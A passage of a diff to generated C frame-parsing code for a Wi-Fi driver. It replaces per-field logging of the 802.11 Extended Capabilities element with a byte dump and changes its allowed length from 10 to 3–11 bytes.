FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCREQUEST), FRFL("reserved4 (1): %d\n"), pFrm->ExtCap.reserved4); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCREQUEST), FRFL("msgCFCap (1): %d\n"), pFrm->ExtCap.msgCFCap); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCREQUEST), FRFL("TDLSSupport (1): %d\n"), pFrm->ExtCap.TDLSSupport); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCREQUEST), FRFL("TDLSProhibited (1): %d\n"), pFrm->ExtCap.TDLSProhibited); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCREQUEST), FRFL("TDLSChanSwitProhibited (1): %d\n"), pFrm->ExtCap.TDLSChanSwitProhibited); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCREQUEST), FRFL("rejectUnadmittedTraffic (1): %d\n"), pFrm->ExtCap.rejectUnadmittedTraffic); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCREQUEST), FRFL("serviceIntervalGranularity (3): %d\n"), pFrm->ExtCap.serviceIntervalGranularity); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCREQUEST), FRFL("identifierLoc (1): %d\n"), pFrm->ExtCap.identifierLoc); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCREQUEST), FRFL("uapsdCoexistence (1): %d\n"), pFrm->ExtCap.uapsdCoexistence); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCREQUEST), FRFL("wnmNotification (1): %d\n"), pFrm->ExtCap.wnmNotification); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCREQUEST), FRFL("reserved5 (1): %d\n"), pFrm->ExtCap.reserved5); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCREQUEST), FRFL("UTF8SSID (1): %d\n"), pFrm->ExtCap.UTF8SSID); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCREQUEST), FRFL("reserved6 (12): %d\n"), pFrm->ExtCap.reserved6); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCREQUEST), FRFL("TDLSWiderBW (1): %d\n"), pFrm->ExtCap.TDLSWiderBW); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCREQUEST), FRFL("operModeNotification (1): %d\n"), pFrm->ExtCap.operModeNotification); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCREQUEST), FRFL("reserved7 (1): %d\n"), pFrm->ExtCap.reserved7); + FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCREQUEST), FRFL("num_bytes: %d.\n"), pFrm->ExtCap.num_bytes); + FRAMES_DUMP(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCREQUEST), ( tANI_U8* ) pFrm->ExtCap.bytes, pFrm->ExtCap.num_bytes); } FRAMES_LOG0(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCREQUEST), FRFL("OperatingMode:\n")); if (!pFrm->OperatingMode.present) @@ -6975,7 +6927,7 @@ tANI_U32 dot11fUnpackAssocRequest(tpAniSirGlobal pCtx, tANI_U8 *pBuf, tANI_U32 n {offsetof(tDot11fAssocResponse, P2PAssocRes), offsetof(tDot11fIEP2PAssocRes, present), 0, "P2PAssocRes" , 0, 6, 17, SigIeP2PAssocRes, {80, 111, 154, 9, 0}, 4, DOT11F_EID_P2PASSOCRES, 0, }, {offsetof(tDot11fAssocResponse, VHTCaps), offsetof(tDot11fIEVHTCaps, present), 0, "VHTCaps" , 0, 14, 14, SigIeVHTCaps, {0, 0, 0, 0, 0}, 0, DOT11F_EID_VHTCAPS, 0, }, {offsetof(tDot11fAssocResponse, VHTOperation), offsetof(tDot11fIEVHTOperation, present), 0, "VHTOperation" , 0, 7, 7, SigIeVHTOperation, {0, 0, 0, 0, 0}, 0, DOT11F_EID_VHTOPERATION, 0, }, - {offsetof(tDot11fAssocResponse, ExtCap), offsetof(tDot11fIEExtCap, present), 0, "ExtCap" , 0, 10, 10, SigIeExtCap, {0, 0, 0, 0, 0}, 0, DOT11F_EID_EXTCAP, 0, }, + {offsetof(tDot11fAssocResponse, ExtCap), offsetof(tDot11fIEExtCap, present), 0, "ExtCap" , 0, 3, 11, SigIeExtCap, {0, 0, 0, 0, 0}, 0, DOT11F_EID_EXTCAP, 0, }, {offsetof(tDot11fAssocResponse, OBSSScanParameters), offsetof(tDot11fIEOBSSScanParameters, present), 0, "OBSSScanParameters" , 0, 16, 16, SigIeOBSSScanParameters, {0, 0, 0, 0, 0}, 0, DOT11F_EID_OBSSSCANPARAMETERS, 0, }, {offsetof(tDot11fAssocResponse, QosMapSet), offsetof(tDot11fIEQosMapSet, present), 0, "QosMapSet" , 0, 2, 62, SigIeQosMapSet, {0, 0, 0, 0, 0}, 0, DOT11F_EID_QOSMAPSET, 0, }, {0, 0, 0, NULL, 0, 0, 0, 0, {0, 0, 0, 0, 0}, 0, 0xff, 0, }, }; @@ -8054,57 +8006,8 @@ tANI_U32 dot11fUnpackAssocResponse(tpAniSirGlobal pCtx, tANI_U8 *pBuf, tANI_U32 } else { - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCRESPONSE), FRFL("bssCoexistMgmtSupport (1): %d\n"), pFrm->ExtCap.bssCoexistMgmtSupport); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCRESPONSE), FRFL("reserved1 (1): %d\n"), pFrm->ExtCap.reserved1); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCRESPONSE), FRFL("extChanSwitch (1): %d\n"), pFrm->ExtCap.extChanSwitch); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCRESPONSE), FRFL("reserved2 (1): %d\n"), pFrm->ExtCap.reserved2); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCRESPONSE), FRFL("psmpCap (1): %d\n"), pFrm->ExtCap.psmpCap); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCRESPONSE), FRFL("reserved3 (1): %d\n"), pFrm->ExtCap.reserved3); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCRESPONSE), FRFL("spsmpCap (1): %d\n"), pFrm->ExtCap.spsmpCap); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCRESPONSE), FRFL("event (1): %d\n"), pFrm->ExtCap.event); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCRESPONSE), FRFL("diagnostics (1): %d\n"), pFrm->ExtCap.diagnostics); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCRESPONSE), FRFL("multiDiagnostics (1): %d\n"), pFrm->ExtCap.multiDiagnostics); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCRESPONSE), FRFL("locTracking (1): %d\n"), pFrm->ExtCap.locTracking); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCRESPONSE), FRFL("FMS (1): %d\n"), pFrm->ExtCap.FMS); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCRESPONSE), FRFL("proxyARPService (1): %d\n"), pFrm->ExtCap.proxyARPService); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCRESPONSE), FRFL("coLocIntfReporting (1): %d\n"), pFrm->ExtCap.coLocIntfReporting); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCRESPONSE), FRFL("civicLoc (1): %d\n"), pFrm->ExtCap.civicLoc); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCRESPONSE), FRFL("geospatialLoc (1): %d\n"), pFrm->ExtCap.geospatialLoc); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCRESPONSE), FRFL("TFS (1): %d\n"), pFrm->ExtCap.TFS); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCRESPONSE), FRFL("wnmSleepMode (1): %d\n"), pFrm->ExtCap.wnmSleepMode); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCRESPONSE), FRFL("timBroadcast (1): %d\n"), pFrm->ExtCap.timBroadcast); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCRESPONSE), FRFL("bssTransition (1): %d\n"), pFrm->ExtCap.bssTransition); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCRESPONSE), FRFL("qosTrafficCap (1): %d\n"), pFrm->ExtCap.qosTrafficCap); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCRESPONSE), FRFL("acStaCnt (1): %d\n"), pFrm->ExtCap.acStaCnt); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCRESPONSE), FRFL("multiBSSID (1): %d\n"), pFrm->ExtCap.multiBSSID); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCRESPONSE), FRFL("timingMeas (1): %d\n"), pFrm->ExtCap.timingMeas); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCRESPONSE), FRFL("chanUsage (1): %d\n"), pFrm->ExtCap.chanUsage); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCRESPONSE), FRFL("ssidList (1): %d\n"), pFrm->ExtCap.ssidList); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCRESPONSE), FRFL("DMS (1): %d\n"), pFrm->ExtCap.DMS); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCRESPONSE), FRFL("UTCTSFOffset (1): %d\n"), pFrm->ExtCap.UTCTSFOffset); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCRESPONSE), FRFL("TDLSPeerUAPSDBufferSTA (1): %d\n"), pFrm->ExtCap.TDLSPeerUAPSDBufferSTA); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCRESPONSE), FRFL("TDLSPeerPSMSupp (1): %d\n"), pFrm->ExtCap.TDLSPeerPSMSupp); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCRESPONSE), FRFL("TDLSChannelSwitching (1): %d\n"), pFrm->ExtCap.TDLSChannelSwitching); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCRESPONSE), FRFL("interworkingService (1): %d\n"), pFrm->ExtCap.interworkingService); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCRESPONSE), FRFL("qosMap (1): %d\n"), pFrm->ExtCap.qosMap); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCRESPONSE), FRFL("EBR (1): %d\n"), pFrm->ExtCap.EBR); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCRESPONSE), FRFL("sspnInterface (1): %d\n"), pFrm->ExtCap.sspnInterface); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCRESPONSE), FRFL("reserved4 (1): %d\n"), pFrm->ExtCap.reserved4); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCRESPONSE), FRFL("msgCFCap (1): %d\n"), pFrm->ExtCap.msgCFCap); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCRESPONSE), FRFL("TDLSSupport (1): %d\n"), pFrm->ExtCap.TDLSSupport); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCRESPONSE), FRFL("TDLSProhibited (1): %d\n"), pFrm->ExtCap.TDLSProhibited); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCRESPONSE), FRFL("TDLSChanSwitProhibited (1): %d\n"), pFrm->ExtCap.TDLSChanSwitProhibited); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCRESPONSE), FRFL("rejectUnadmittedTraffic (1): %d\n"), pFrm->ExtCap.rejectUnadmittedTraffic); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCRESPONSE), FRFL("serviceIntervalGranularity (3): %d\n"), pFrm->ExtCap.serviceIntervalGranularity); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCRESPONSE), FRFL("identifierLoc (1): %d\n"), pFrm->ExtCap.identifierLoc); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCRESPONSE), FRFL("uapsdCoexistence (1): %d\n"), pFrm->ExtCap.uapsdCoexistence); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCRESPONSE), FRFL("wnmNotification (1): %d\n"), pFrm->ExtCap.wnmNotification); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCRESPONSE), FRFL("reserved5 (1): %d\n"), pFrm->ExtCap.reserved5); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCRESPONSE), FRFL("UTF8SSID (1): %d\n"), pFrm->ExtCap.UTF8SSID); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCRESPONSE), FRFL("reserved6 (12): %d\n"), pFrm->ExtCap.reserved6); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCRESPONSE), FRFL("TDLSWiderBW (1): %d\n"), pFrm->ExtCap.TDLSWiderBW); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCRESPONSE), FRFL("operModeNotification (1): %d\n"), pFrm->ExtCap.operModeNotification); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCRESPONSE), FRFL("reserved7 (1): %d\n"), pFrm->ExtCap.reserved7); + FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCRESPONSE), FRFL("num_bytes: %d.\n"), pFrm->ExtCap.num_bytes); + FRAMES_DUMP(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCRESPONSE), ( tANI_U8* ) pFrm->ExtCap.bytes, pFrm->ExtCap.num_bytes); } FRAMES_LOG0(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCRESPONSE), FRFL("OBSSScanParameters:\n")); if (!pFrm->OBSSScanParameters.present) @@ -8594,7 +8497,7 @@ tANI_U32 dot11fUnpackAuthentication(tpAniSirGlobal pCtx, tANI_U8 *pBuf, tANI_U32 {offsetof(tDot11fBeacon, VHTCaps), offsetof(tDot11fIEVHTCaps, present), 0, "VHTCaps" , 0, 14, 14, SigIeVHTCaps, {0, 0, 0, 0, 0}, 0, DOT11F_EID_VHTCAPS, 0, }, {offsetof(tDot11fBeacon, VHTOperation), offsetof(tDot11fIEVHTOperation, present), 0, "VHTOperation" , 0, 7, 7, SigIeVHTOperation, {0, 0, 0, 0, 0}, 0, DOT11F_EID_VHTOPERATION, 0, }, {offsetof(tDot11fBeacon, VHTExtBssLoad), offsetof(tDot11fIEVHTExtBssLoad, present), 0, "VHTExtBssLoad" , 0, 7, 7, SigIeVHTExtBssLoad, {0, 0, 0, 0, 0}, 0, DOT11F_EID_VHTEXTBSSLOAD, 0, }, - {offsetof(tDot11fBeacon, ExtCap), offsetof(tDot11fIEExtCap, present), 0, "ExtCap" , 0, 10, 10, SigIeExtCap, {0, 0, 0, 0, 0}, 0, DOT11F_EID_EXTCAP, 0, }, + {offsetof(tDot11fBeacon, ExtCap), offsetof(tDot11fIEExtCap, present), 0, "ExtCap" , 0, 3, 11, SigIeExtCap, {0, 0, 0, 0, 0}, 0, DOT11F_EID_EXTCAP, 0, }, {offsetof(tDot11fBeacon, OperatingMode), offsetof(tDot11fIEOperatingMode, present), 0, "OperatingMode" , 0, 3, 3, SigIeOperatingMode, {0, 0, 0, 0, 0}, 0, DOT11F_EID_OPERATINGMODE, 0, }, {offsetof(tDot11fBeacon, WiderBWChanSwitchAnn), offsetof(tDot11fIEWiderBWChanSwitchAnn, present), 0, "WiderBWChanSwitchAnn" , 0, 5, 5, SigIeWiderBWChanSwitchAnn, {0, 0, 0, 0, 0}, 0, DOT11F_EID_WIDERBWCHANSWITCHANN, 0, }, {offsetof(tDot11fBeacon, OBSSScanParameters), offsetof(tDot11fIEOBSSScanParameters, present), 0, "OBSSScanParameters" , 0, 16, 16, SigIeOBSSScanParameters, {0, 0, 0, 0, 0}, 0, DOT11F_EID_OBSSSCANPARAMETERS, 0, }, @@ -9607,57 +9510,8 @@ tANI_U32 dot11fUnpackBeacon(tpAniSirGlobal pCtx, tANI_U8 *pBuf, tANI_U32 nBuf, t } else { - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON), FRFL("bssCoexistMgmtSupport (1): %d\n"), pFrm->ExtCap.bssCoexistMgmtSupport); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON), FRFL("reserved1 (1): %d\n"), pFrm->ExtCap.reserved1); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON), FRFL("extChanSwitch (1): %d\n"), pFrm->ExtCap.extChanSwitch); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON), FRFL("reserved2 (1): %d\n"), pFrm->ExtCap.reserved2); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON), FRFL("psmpCap (1): %d\n"), pFrm->ExtCap.psmpCap); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON), FRFL("reserved3 (1): %d\n"), pFrm->ExtCap.reserved3); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON), FRFL("spsmpCap (1): %d\n"), pFrm->ExtCap.spsmpCap); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON), FRFL("event (1): %d\n"), pFrm->ExtCap.event); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON), FRFL("diagnostics (1): %d\n"), pFrm->ExtCap.diagnostics); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON), FRFL("multiDiagnostics (1): %d\n"), pFrm->ExtCap.multiDiagnostics); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON), FRFL("locTracking (1): %d\n"), pFrm->ExtCap.locTracking); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON), FRFL("FMS (1): %d\n"), pFrm->ExtCap.FMS); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON), FRFL("proxyARPService (1): %d\n"), pFrm->ExtCap.proxyARPService); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON), FRFL("coLocIntfReporting (1): %d\n"), pFrm->ExtCap.coLocIntfReporting); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON), FRFL("civicLoc (1): %d\n"), pFrm->ExtCap.civicLoc); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON), FRFL("geospatialLoc (1): %d\n"), pFrm->ExtCap.geospatialLoc); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON), FRFL("TFS (1): %d\n"), pFrm->ExtCap.TFS); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON), FRFL("wnmSleepMode (1): %d\n"), pFrm->ExtCap.wnmSleepMode); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON), FRFL("timBroadcast (1): %d\n"), pFrm->ExtCap.timBroadcast); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON), FRFL("bssTransition (1): %d\n"), pFrm->ExtCap.bssTransition); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON), FRFL("qosTrafficCap (1): %d\n"), pFrm->ExtCap.qosTrafficCap); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON), FRFL("acStaCnt (1): %d\n"), pFrm->ExtCap.acStaCnt); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON), FRFL("multiBSSID (1): %d\n"), pFrm->ExtCap.multiBSSID); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON), FRFL("timingMeas (1): %d\n"), pFrm->ExtCap.timingMeas); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON), FRFL("chanUsage (1): %d\n"), pFrm->ExtCap.chanUsage); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON), FRFL("ssidList (1): %d\n"), pFrm->ExtCap.ssidList); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON), FRFL("DMS (1): %d\n"), pFrm->ExtCap.DMS); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON), FRFL("UTCTSFOffset (1): %d\n"), pFrm->ExtCap.UTCTSFOffset); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON), FRFL("TDLSPeerUAPSDBufferSTA (1): %d\n"), pFrm->ExtCap.TDLSPeerUAPSDBufferSTA); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON), FRFL("TDLSPeerPSMSupp (1): %d\n"), pFrm->ExtCap.TDLSPeerPSMSupp); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON), FRFL("TDLSChannelSwitching (1): %d\n"), pFrm->ExtCap.TDLSChannelSwitching); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON), FRFL("interworkingService (1): %d\n"), pFrm->ExtCap.interworkingService); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON), FRFL("qosMap (1): %d\n"), pFrm->ExtCap.qosMap); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON), FRFL("EBR (1): %d\n"), pFrm->ExtCap.EBR); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON), FRFL("sspnInterface (1): %d\n"), pFrm->ExtCap.sspnInterface); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON), FRFL("reserved4 (1): %d\n"), pFrm->ExtCap.reserved4); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON), FRFL("msgCFCap (1): %d\n"), pFrm->ExtCap.msgCFCap); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON), FRFL("TDLSSupport (1): %d\n"), pFrm->ExtCap.TDLSSupport); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON), FRFL("TDLSProhibited (1): %d\n"), pFrm->ExtCap.TDLSProhibited); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON), FRFL("TDLSChanSwitProhibited (1): %d\n"), pFrm->ExtCap.TDLSChanSwitProhibited); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON), FRFL("rejectUnadmittedTraffic (1): %d\n"), pFrm->ExtCap.rejectUnadmittedTraffic); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON), FRFL("serviceIntervalGranularity (3): %d\n"), pFrm->ExtCap.serviceIntervalGranularity); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON), FRFL("identifierLoc (1): %d\n"), pFrm->ExtCap.identifierLoc); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON), FRFL("uapsdCoexistence (1): %d\n"), pFrm->ExtCap.uapsdCoexistence); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON), FRFL("wnmNotification (1): %d\n"), pFrm->ExtCap.wnmNotification); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON), FRFL("reserved5 (1): %d\n"), pFrm->ExtCap.reserved5); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON), FRFL("UTF8SSID (1): %d\n"), pFrm->ExtCap.UTF8SSID); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON), FRFL("reserved6 (12): %d\n"), pFrm->ExtCap.reserved6); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON), FRFL("TDLSWiderBW (1): %d\n"), pFrm->ExtCap.TDLSWiderBW); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON), FRFL("operModeNotification (1): %d\n"), pFrm->ExtCap.operModeNotification); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON), FRFL("reserved7 (1): %d\n"), pFrm->ExtCap.reserved7); + FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON), FRFL("num_bytes: %d.\n"), pFrm->ExtCap.num_bytes); + FRAMES_DUMP(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON), ( tANI_U8* ) pFrm->ExtCap.bytes, pFrm->ExtCap.num_bytes); } FRAMES_LOG0(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON), FRFL("OperatingMode:\n")); if (!pFrm->OperatingMode.present) @@ -9829,7 +9683,7 @@ tANI_U32 dot11fUnpackBeacon1(tpAniSirGlobal pCtx, tANI_U8 *pBuf, tANI_U32 nBuf, {offsetof(tDot11fBeacon2, VHTCaps), offsetof(tDot11fIEVHTCaps, present), 0, "VHTCaps" , 0, 14, 14, SigIeVHTCaps, {0, 0, 0, 0, 0}, 0, DOT11F_EID_VHTCAPS, 0, }, {offsetof(tDot11fBeacon2, VHTOperation), offsetof(tDot11fIEVHTOperation, present), 0, "VHTOperation" , 0, 7, 7, SigIeVHTOperation, {0, 0, 0, 0, 0}, 0, DOT11F_EID_VHTOPERATION, 0, }, {offsetof(tDot11fBeacon2, VHTExtBssLoad), offsetof(tDot11fIEVHTExtBssLoad, present), 0, "VHTExtBssLoad" , 0, 7, 7, SigIeVHTExtBssLoad, {0, 0, 0, 0, 0}, 0, DOT11F_EID_VHTEXTBSSLOAD, 0, }, - {offsetof(tDot11fBeacon2, ExtCap), offsetof(tDot11fIEExtCap, present), 0, "ExtCap" , 0, 10, 10, SigIeExtCap, {0, 0, 0, 0, 0}, 0, DOT11F_EID_EXTCAP, 0, }, + {offsetof(tDot11fBeacon2, ExtCap), offsetof(tDot11fIEExtCap, present), 0, "ExtCap" , 0, 3, 11, SigIeExtCap, {0, 0, 0, 0, 0}, 0, 